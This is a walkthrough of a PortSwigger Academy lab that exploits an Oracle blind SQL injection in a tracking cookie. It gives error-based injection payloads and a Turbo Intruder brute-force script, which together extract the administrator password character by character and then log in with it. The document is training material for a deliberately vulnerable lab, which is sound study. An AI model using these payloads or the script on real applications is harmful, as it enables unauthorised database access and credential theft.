🗂️PortSwigger Lab Writeup: Blind SQL Injection with Conditional Errors
🎯 Objective
The objective of this lab is to exploit a Blind SQL injection vulnerability in a web application where the application executes a SQL query with tracking cookie in an unsafe way to track the users for analytics and our goal is to extract the administrator
password from the table users
and log in as administrator
.
- Lab URL:
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
- Category: SQL Injection
- Difficulty: Practitioner
💉 Payloads Used
1. For confirming blind SQL injection
- Payload 1 - ✅
jXe2DRXojCvCjViV'
2. For determining database
- Payload 2 - ✅
jXe2DRXojCvCjViV'--
- Payload 3 - ❌
jXe2DRXojCvCjViV' AND LENGTH((SELECT 'a'))>0--
- Payload 4 - ✅
jXe2DRXojCvCjViV' AND LENGTH((SELECT 'a' FROM dual))>0--
3. For confirming user table
- Payload 5 - ✅
jXe2DRXojCvCjViV' AND LENGTH((SELECT 'a' FROM users WHERE ROWNUM=1))>0--
4. For confirming administrator in user table
- Payload 6 - ✅
jXe2DRXojCvCjViV' AND LENGTH((SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator'))>0
5. For determining password length
- Payload 7 - ✅
jXe2DRXojCvCjViV' AND LENGTH((SELECT CASE WHEN LENGTH(password)=#marker THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator'))>0
6. For determining password
- Payload 8 - ✅
jXe2DRXojCvCjViV' AND LENGTH((SELECT CASE WHEN SUBSTR(password, ^POS^, 1)='^CHAR^' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator'))>0
🧪 Exploitation Steps
🕵️Step 1: Observe the Website
- Open the lab URL in your browser and explore its functionality.
- At first glance, the website seems to be a shopping website with an option to filter products on different categories and also there is a login page. In the lab description, it is mentioned that the vulnerability is in the tracking cookie which is being used directly in a SQL query.
🔍Step 2: Find the Vulnerable Endpoint
- Open the BurpSuite and send a request containing the
TrackingId
cookie to Repeater Tab byCtrl + R
- In the Repeater tab, we will first verify the endpoint for blind sqli by using the payload -
jXe2DRXojCvCjViV'
- Hence, after sending this payload we got the Internal Server Error which means our payload got executed successfully breaking the SQL query and revealing the vulnerable endpoint.
🧰Step 3: Determine the database
- In order to further exploit the Blind sqli, we need to know which database is being used in the backend for crafting working payloads.
- Let's first try
--
, a comment sequence recognized by both PostgreSQL and Oracle, to ignore the remainder of the SQL query. - Since, it returned response -
200 OK
meaning we did not used any non-supported characters and database is from one of the two mentioned databases above. - Now, we will use a PostgreSQL database supported payload -
jXe2DRXojCvCjViV' AND LENGTH((SELECT 'a'))>0--
to see if it is a PostgreSQL database or not. - Since it returned an Internal Server Error, it indicates the database is Oracle rather than PostgreSQL, because in Oracle,
SELECT
statements must always be paired with aFROM <any-table>
clause. - But, we will confirm it by using an Oracle database supported payload -
jXe2DRXojCvCjViV' AND LENGTH((SELECT 'a' FROM dual))>0--
- Hence, this payload executed successfully confirming that the application is using Oracle database which will help in crafting working payloads.
🧾Step 4: Confirm the details
- Before we directly extract the password, we should verify that if
users
table exists or not and if there isadministrator
username exists in the table. - We will use the payload -
jXe2DRXojCvCjViV' AND LENGTH((SELECT 'a' FROM users WHERE ROWNUM=1))>0--
for confirming that users table exists or not.infoThe
WHERE ROWNUM = 1
condition is used to ensure that the query returns only the first row from the result set. In Oracle, unlike MySQL’sLIMIT 1
, you can’t directly limit rows in the same way. Instead,ROWNUM
is a pseudo-column that assigns a unique number to each returned row in the order they are retrieved. By filtering withROWNUM = 1
, we ensure the query only processes the first matching row, preventing “single-row subquery returns more than one row” errors in comparisons like>0
. - Hence, the payload executed successfully confirming the presence of
users
table in database. - Now, we will use the payload -
jXe2DRXojCvCjViV' AND LENGTH((SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator'))>0
for confirming whether theadministrator
user exists in the table. - Hence, this payload executed successfully confirming the presence of
administrator
record inusers
table.
📏Step 5: Determine the password length
- Before we extract the password, it is essential to know the length of password of
administrator
so that we can craft the payload accordingly to extract it. - Now, to determine the length send the request to Intruder Tab by
Ctrl + I
- We will use the payload -
jXe2DRXojCvCjViV' AND LENGTH((SELECT CASE WHEN LENGTH(password)=#marker THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator'))>0
where#marker
will be replaced by the marker in Intruder. - We will use the Sniper attack where the Burpsuite will send the one payload at a time with different password lengths. Set the payload type to be a number and start range from 8 and end range to 22 as password is generally of 8-22 characters.
- After this, Finally start the attack.
- Hence, payload with 20 length broke the underlying SQL query and returned the Internal Server Error.
- Hence, it is being confirmed that the password is of 20 characters.
🔓Step 6: Extract the password
- Here, I will be extracting the password using a extension in Burpsuite called Turbo Intruder which will fuzz the application very fast than normal Intruder in Burpsuite Community Edition.
info
Turbo Intruder is a Burp Suite extension designed for high-speed, customized HTTP request generation and analysis — ideal for blind SQLi brute-forcing.
- Usually the default Intruder attack will take a very long time in community edition for this purpose, therefore we will be using Turbo Intruder.
- Firstly, Install the Turbo Intruder extension from BApp Store.
- Now, send a request containing the
TrackingId
cookie to Send to Turbo Intruder as show below. - We will use the payload -
jXe2DRXojCvCjViV' AND LENGTH((SELECT CASE WHEN SUBSTR(password, ^POS^, 1)='^CHAR^' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator'))>0
for extracting password. - Use this script for making the requests to application and determining successful payloads. Since PortSwigger labs usually use lowercase alphanumerics in passwords, we limited the charset to
a-z0-9
for speed.import string
def queueRequests(target, wordlists):
engine = RequestEngine(target.endpoint,
concurrentConnections=3,
requestsPerConnection=3,
pipeline=False)
max_len = 20
charset = string.ascii_lowercase + string.digits
for pos in range(1, max_len + 1):
for ch in charset:
req = target.req.replace("^POS^", str(pos)).replace("^CHAR^", ch)
engine.queue(req)
def handleResponse(req, interesting):
if req.status == 500:
table.add(req) - After configuring everything, start the attack.
- Hence, we got the each password character of every place in 20 digit.
🧑💼Step 7: Log in as Administrator
- Finally, open the login page and write the credentials of administrator extracted from Turbo Intruder to log in.
- And💥Booom!, We got the access of Admin account on the website.
- And Finally, the Lab is solved.
🧠 Conclusion
- This lab involves a case of Blind SQL injection vulnerability, where the
Tracking cookie
parameter is used to track users for analytics and the application directly concatenates the cookie into a SQL query without validation or sanitization. - Since the application neither validates the user input nor uses prepared statements, it becomes vulnerable to SQL injection. This allowed us to manipulate the SQL query by injecting arbitrary SQL commands and gain full access to the database.
- By systematically crafting and testing Blind SQLi payloads, we were able to:
- Confirm the vulnerability using boolean-based payloads.
- Identify the backend database (Oracle).
- Verify the presence of the
users
table and theadministrator
user. - Determine the password length of the administrator account.
- Extract the password one character at a time using Turbo Intruder.
- Finally, use the obtained credentials to log in as
administrator
, gaining full system access.
- This lab highlights the severe impact of blind SQL injection, even when there is no visible change in the application’s UI, and reinforces the importance of sanitizing all user input - including cookies.